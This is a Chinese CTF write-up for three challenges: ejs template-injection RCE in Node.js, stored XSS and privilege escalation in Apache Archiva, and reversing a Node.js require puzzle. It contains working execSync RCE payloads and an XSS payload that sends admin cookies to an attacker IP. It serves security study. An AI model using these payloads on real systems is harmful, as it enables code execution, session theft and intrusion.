valentine# Web签到题,考的是Node.js的ejs模板库命令执行。首先给出源码,里面的库版本都是最新的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
var express = require ( 'express' );
var bodyParser = require ( 'body-parser' )
const crypto = require ( "crypto" );
var path = require ( 'path' );
const fs = require ( 'fs' );
var app = express ();
viewsFolder = path . join ( __dirname , 'views' );
if ( ! fs . existsSync ( viewsFolder )) {
fs . mkdirSync ( viewsFolder );
}
app . set ( 'views' , viewsFolder );
app . set ( 'view engine' , 'ejs' );
app . use ( bodyParser . urlencoded ({ extended : false }))
app . post ( '/template' , function ( req , res ) {
let tmpl = req . body . tmpl ;
let i = - 1 ;
while (( i = tmpl . indexOf ( "<%" , i + 1 )) >= 0 ) {
if ( tmpl . substring ( i , i + 11 ) !== "<%= name %>" ) {
res . status ( 400 ). send ({ message : "Only '<%= name %>' is allowed." });
return ;
}
}
let uuid ;
do {
uuid = crypto . randomUUID ();
} while ( fs . existsSync ( `views/ ${ uuid } .ejs` ))
try {
fs . writeFileSync ( `views/ ${ uuid } .ejs` , tmpl );
} catch ( err ) {
res . status ( 500 ). send ( "Failed to write Valentine's card" );
return ;
}
let name = req . body . name ?? '' ;
return res . redirect ( `/ ${ uuid } ?name= ${ name } ` );
});
app . get ( '/:template' , function ( req , res ) {
let query = req . query ;
let template = req . params . template
if ( ! /^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i . test ( template )) {
res . status ( 400 ). send ( "Not a valid card id" )
return ;
}
if ( ! fs . existsSync ( `views/ ${ template } .ejs` )) {
res . status ( 400 ). send ( 'Valentine\'s card does not exist' )
return ;
}
if ( ! query [ 'name' ]) {
query [ 'name' ] = ''
}
return res . render ( template , query );
});
app . get ( '/' , function ( req , res ) {
return res . sendFile ( './index.html' , { root : __dirname });
});
app . listen ( process . env . PORT || 3000 );
Copy
功能点就是可以自定义模板内容,生成并渲染,但是对模板中ejs的tag进行了严格限制,只能存在<%= name %>
这一种tag,否则就会被ban。
一开始注意到bodyParser的设置bodyParser.urlencoded({ extended: false })
,因为没有开启extended
,在解析请求字符串的时候使用的是Node自带的querystring库,也就是没使用第三方的qs库,所以基本上可以认为在解析HTTP参数上没什么问题。
印象中比赛的时候给的代码里面extended
是开了的,不过哪怕用的qs库也是最新版的6.11.0,修了前阵子的CVE-2022-24999 。后面又想了想,哪怕可以利用,写原型链能不能污染还得两说,所以暂时先放一边。
接下来似乎可能的利用点只剩下使用ejs进行模板渲染的部分了。首先搜索了一下ejs最近的洞,找到了这个 https://securitylab.github.com/advisories/GHSL-2021-021-tj-ejs/ ,成因和题目里给的情况差不多,就是把代表整个HTTP参数的对象当作了ejs渲染的options
参数,使得一些能够控制ejs渲染的参数可以通过HTTP参数控制。但是嘛……这个洞在3.1.6之后的版本就被修了,加了对传入的三个参数加了正则匹配,没法使用这个方法来注入代码了。
于是乎只能另寻他路。通过断点调试可以发现,renderFile()
方法中取了传入参数的settings['view options']
,将其Copy到最终渲染的参数对象中。
进一步就来到了Template()
构造函数和Template.compile()
方法中,可以看见里面初始化了很多渲染参数,而由上面的代码可知,这些参数都可以被控制,这就比较有意思了。
通过对Template.compile()
方法进行分析可以发现,ejs对页面的渲染是通过解析模板中的变量和控制结构,再将其转换为一个JavaScript的Function并执行来实现的。通过各种的参数判断,最终生成了一段类似下面这样的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var __line = 1
, __lines = "<%= name %>"
, __filename = "/home/jiekanghu/Desktop/valentine/views/29b97a30-d797-4c52-abcd-038bf2149407.ejs" ;
try {
var __output = "" ;
function __append ( s ) { if ( s !== undefined && s !== null ) __output += s }
with ( locals || {}) {
; __append ( escapeFn ( name ))
}
return __output ;
} catch ( e ) {
rethrow ( e , __lines , __filename , __line , escapeFn );
}
//# sourceURL="/home/jiekanghu/Desktop/valentine/views/29b97a30-d797-4c52-abcd-038bf2149407.ejs"
Copy
最终ejs将把这段代码编译而成的函数作为返回值,传递给下一层中间件。
RCE方法1 - escapeFn# 首先注意到了生成代码中的escapeFn
,能看出来是用来对输出参数进行转义避免XSS的。但是在compile
方法中,escapeFn
的内容也是可以被参数控制的,而且没有经过正则拦截。
1
2
3
4
5
6
7
8
9
10
11
12
compile : function () {
......
var escapeFn = opts . escapeFunction ;
......
if ( opts . client ) {
src = 'escapeFn = escapeFn || ' + escapeFn . toString () + ';' + '\n' + src ;
if ( opts . compileDebug ) {
src = 'rethrow = rethrow || ' + rethrow . toString () + ';' + '\n' + src ;
}
}
......
}
Copy
因此,只需要确保opts.client
存在,就能够把自定义的escapeFn
写进最终生成的代码中。最终传参如下图,escapeFn
中调用了同样是生成的函数__append()
,里面调用了RCE的代码,这样可以直接把命令执行的输出附加到模板的输出中:
global.process.mainModule.constructor._load('child_process').execSync('whoami').toString()
process.mainModule.require('child_process').execSync('whoami').toString()
RCE方法2 - delimiter# 注意到Template构造函数中,同样可以自定义读取ejs模板中的tag标识分隔符,因此可以通过修改模板的分隔符,来直接绕过代码中对tag的限制,实现RCE。
1
2
3
4
5
6
7
8
9
10
11
var _DEFAULT_OPEN_DELIMITER = '<' ;
var _DEFAULT_CLOSE_DELIMITER = '>' ;
var _DEFAULT_DELIMITER = '%' ;
function Template ( text , opts ) {
......
options . openDelimiter = opts . openDelimiter || exports . openDelimiter || _DEFAULT_OPEN_DELIMITER ;
options . closeDelimiter = opts . closeDelimiter || exports . closeDelimiter || _DEFAULT_CLOSE_DELIMITER ;
options . delimiter = opts . delimiter || exports . delimiter || _DEFAULT_DELIMITER ;
......
}
Copy
如下图,模板内容为<.- process.mainModule.require('child_process').execSync(name).toString() .>
将尖括号里面的分隔符从%
改成了.
,使用RAW模式不转义直接输出返回值,绕过了限制直接RCE。
在打的时候,发现题目的docker环境中模板会缓存,本地能打通的请求远程用浏览器打死活打不通。。后面用Burp,不会在提交模板后自动跳转,使得第一次请求能够成功,但是后面的每一次请求都是第一次的返回结果,只得每修改一次exp就重新建一个新模板。在看官方给的WriteUp中提到了Dockerfile中定义了NODE_ENV=production
,使得ejs自动开启了页面的缓存,这个选项虽然也可以被控制,但似乎并没有效果。
archived# 题目是一个由官方源搭建的Apache Archiva环境+一个Headless Chrome的Bot服务,题目环境给了一个用户的账号密码,应该是用来登陆Archiva后台的。Apache Archiva是一个Java的仓库管理系统,这里的Apache Archiva显然也是最新版本,诸如CVE-2022-40309 、 CVE-2022-40308 、CVE-2022-29405 这些洞全都被修复了,需要自己找漏洞点了。
Bot服务是用Python的Selenium搭起来的,看代码能看出这个服务会用管理员的身份登陆到这个系统,并且访问/repository/internal
这个URI。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
try :
driver = webdriver . Chrome ( service = Service ( ChromeDriverManager ( chrome_type = ChromeType . CHROMIUM ) . install ()), options = chrome_options )
wait = WebDriverWait ( driver , 10 )
# log in
base_url = f "http:// { quote ( PROXY_USERNAME ) } : { quote ( PROXY_PASSWORD ) } @ { CHALLENGE_IP } : { PORT } "
print ( f "Logging in to { base_url } " , flush = True )
driver . get ( base_url )
wait . until ( lambda d : d . find_element ( By . ID , "login-link-a" ))
time . sleep ( 2 )
driver . find_element ( By . ID , "login-link-a" ) . click ()
wait . until ( lambda d : d . find_element ( By . ID , "modal-login" ) . get_attribute ( "aria-hidden" ) == "false" )
time . sleep ( 2 )
username_input = driver . find_element ( By . ID , "user-login-form-username" )
username_input . send_keys ( USERNAME )
password_input = driver . find_element ( By . ID , "user-login-form-password" )
password_input . send_keys ( PASSWORD )
login_button = driver . find_element ( By . ID , "modal-login-ok" )
login_button . click ()
wait . until ( lambda driver : driver . execute_script ( "return document.readyState" ) == "complete" )
time . sleep ( 2 )
print ( f "Hopefully logged in" , flush = True )
# visit url
url = f "http:// { CHALLENGE_IP } : { PORT } /repository/internal"
print ( f "Visiting { url } " , flush = True )
driver . get ( url )
wait . until ( lambda driver : driver . execute_script ( "return document.readyState" ) == "complete" )
time . sleep ( 2 )
except Exception as e :
print ( e , file = sys . stderr , flush = True )
print ( 'Error while visiting' )
finally :
if driver :
driver . quit ()
print ( 'Done visiting' , flush = True )
Copy
看完Bot的代码其实思路就比较清晰了,我们拿到的账号密码是一个普通权限的账户,需要通过XSS来拿到管理员权限的Cookie从而实现账号的提权,再进行下一步的操作。
首先看看这个普通的账户可以干什么。与不登陆相比,登陆后新增了一个Upload Artifact的入口,功能是可以向Archiva里管理的仓库里上传代码和二进制文件。
随便上传一个Artifact,在Bot要访问的/repository/internal
下就可以看见对应的目录结构已经被建立了。如下图,URI为/repository/internal/123/456/789/
,对应Groupd ID为123,Artifact ID为456,Version为789,包名为000。
很容易发现Groupd ID这部分的数据会直接显示在/repository/internal
的页面中,那么接下来就可以尝试一下能否XSS了。看了一下Archiva的源代码,发现这里还是存在一些Filter的,但是规则比较简单,只过滤了路径相关的字符:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// archiva-modules/archiva-web/archiva-web-common/src/main/java/org/apache/archiva/web/api/DefaultFileUploadService.java
private final String FS = FileSystems . getDefault (). getSeparator ();
private boolean hasValidChars ( String checkString ) {
if ( checkString . contains ( FS )) {
return false ;
}
if ( checkString . contains ( "../" )) {
return false ;
}
if ( checkString . contains ( "/.." )) {
return false ;
}
return true ;
}
private void checkParamChars ( String param , String value ) throws ArchivaRestServiceException {
if ( ! hasValidChars ( value )) {
ArchivaRestServiceException e = new ArchivaRestServiceException ( "Bad characters in " + param , null );
e . setHttpErrorCode ( 422 );
e . setErrorKey ( "fileupload.malformed.param" );
e . setFieldName ( param );
throw e ;
}
}
Copy
随便写了个alert,成功写入:
接下来尝试盗取Cookie。虽然代码中的过滤就这么几个,但是实际测试的时候.
也会被截断,所以最后拼合的Payload直接用了Base64编码:
1
">< img src = 2 onerror = fetch(atob("[Base64 http: // IP:PORT /]")+ btoa ( eval ( atob (" ZG9jdW1lbnQuY29va2ll ")))) > <!--
Copy
获取到管理员的Cookie之后,因为题目附件给的docker环境中管理员账户也是可以登录的,因此可以直接对相关的接口抓包。首先在题目中显然是不知道管理员账户原有的密码的,因此无法通过修改管理员密码来持久化权限。但是在Archiva中可以管理所有账户的权限和角色,将普通账户ctf的权限修改为Administrator,即可提权。
提权之后,能够做的事情就比普通用户多很多了。首先注意到可以新建和管理已存在的软件仓库,在仓库的选项页面,可以指定Directory,也就是仓库目录的位置。将其修改为根目录/
,就相当于把整个系统目录当成仓库创建了,也就可以读取任意文件了。
在创建仓库的时候会提示无法创建/.indexer文件的错误,但是仓库已经被创建好了,直接访问即可,实现了任意文件读取。
进一步,由于当前版本的Archiva没有其他漏洞,且题目环境默认是禁止JSP的解析的,所以也就没法RCE了。
Reference: https://hxp.io/blog/100/hxp-CTF-2022-archived/
required# 一个Node.js的程序逻辑逆向,一共有两百多个JS文件,零零散散的包含了各种逻辑,除去各种算术运算之外,还包含了BalsnCTF 2022里提到的require利用。不过正如官方WriteUp所说,这里利用require纯纯是把它当成了一个Feature而不是Bug,还挺好玩的。
零零散散的JS文件中大部分都是算术运算,其他文件中的逻辑代码,要么用于最终输出,要么用于清除require缓存,要么用于require……但最终发现都对Flag的加密流程没有任何影响。于是首先用脚本在每个JS文件的头部添加一个console.log,输出其文件名以及闭包的所有参数值,便于后续的反推。然后跑一下主文件,就能得到一个调用序列:
对其进行处理,去除无效的文件,最终得到的就是纯算术运算的序列。直接上处理代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os
import re
# Invalid ops
blacklist = [ '28' , '37' , '157' , '289' , '299' , '314' , '394' , '555' , '556' , '736' ]
f = [ int ( "0x" + each , 16 ) for each in re . findall ( ". {2} " , "d19ee193b461fd8d1452e7659acb1f47dc3ed445c8eb4ff191b1abfa7969" )]
instructions = os . popen ( "node ./required.js" ) . read () . split ( " \n " )[: - 2 ][:: - 1 ]
for line in instructions :
file_num , i , j , t = re . search ( "(\d+).js i=(.*) j=(.*) t=(.*)" , line ) . groups ()
content = open ( f "./ { file_num } .js" , "r" ) . read ()
if file_num in blacklist :
continue
match = re . search ( 'i%=30,j%=30,t%=30,i\+=\[\],j\+"",t=\(t\+\{\}\)\.split\("\["\)\[0\],(.*)\)' , content )
expr = match . group ( 1 ) . replace ( "i" , str ( int ( i ) % 30 )) . replace ( "j" , str ( int ( j ) % 30 )) . replace ( "t" , str ( int ( t ) % 30 ))
# print(expr)
if re . search ( "f\[(\d+)\]\^=f\[(\d+)\]" , expr ) != None : # XOR
a , b = re . search ( "f\[(\d+)\]\^=f\[(\d+)\]" , expr ) . groups ()
f [ int ( a )] ^= f [ int ( b )]
elif re . search ( "f\[(\d+)\]=~f\[(\d+)\]&0xff" , expr ) != None : # NOR
a = re . search ( "f\[(\d+)\]=~f\[\d+\]" , expr ) . group ( 1 )
f [ int ( a )] = ~ f [ int ( a )] & 0xff
elif re . search ( "f\[(\d+)\]-=f\[(\d+)\]," , expr ) != None : # SUB
a , b = re . search ( "f\[(\d+)\]-=f\[(\d+)\]," , expr ) . groups ()
f [ int ( a )] += f [ int ( b )]
f [ int ( a )] &= 0xff
elif re . search ( "f\[(\d+)\]\+=f\[(\d+)\]," , expr ) != None : # ADD
a , b = re . search ( "f\[(\d+)\]\+=f\[(\d+)\]," , expr ) . groups ()
f [ int ( a )] -= f [ int ( b )]
f [ int ( a )] &= 0xff
elif re . search ( "f\[(\d+)\]=f\[(\d+)\]\^\(f\[(\d+)\]>>1\)" , expr ) != None : # GREYCODE
a = re . search ( "f\[(\d+)\]=f\[\d+\]\^\(f\[\d+\]>>1\)" , expr ) . group ( 1 )
f [ int ( a )] ^= ( f [ int ( a )] >> 4 )
f [ int ( a )] ^= ( f [ int ( a )] >> 2 )
f [ int ( a )] ^= ( f [ int ( a )] >> 1 )
elif re . search ( "f\[(\d+)\]=f\[(\d+)\]<<(\d+)&0xff\|f\[(\d+)\]>>(\d+)" , expr ) != None : # SHIFT
a , b , c = re . search ( "f\[(\d+)\]=f\[\d+\]<<(\d+)&0xff\|f\[\d+\]>>(\d+)" , expr ) . groups ()
f [ int ( a )] = f [ int ( a )] << int ( c ) & 0xff | f [ int ( a )] >> int ( b )
elif re . search ( "f\[(\d+)\]=\(\(\(f\[(\d+)\]\*0x0802&0x22110\)\|\(f\[(\d+)\]\*0x8020&0x88440\)\)\*0x10101>>>16\)&0xff" , expr ) != None : # REVERSE
a = re . search ( "f\[(\d+)\]=\(\(\(f\[\d+\]\*0x0802&0x22110\)\|\(f\[\d+\]\*0x8020&0x88440\)\)\*0x10101>>>16\)&0xff" , expr ) . group ( 1 )
f [ int ( a )] = int ( f " { f [ int ( a )] : 08b } " [:: - 1 ], 2 )
else :
print ( expr )
pass
print ( "" . join ([ chr ( each ) for each in f ]))
Copy
最终打印出Flag:hxp{Cann0t_f1nd_m0dule_'fl4g'}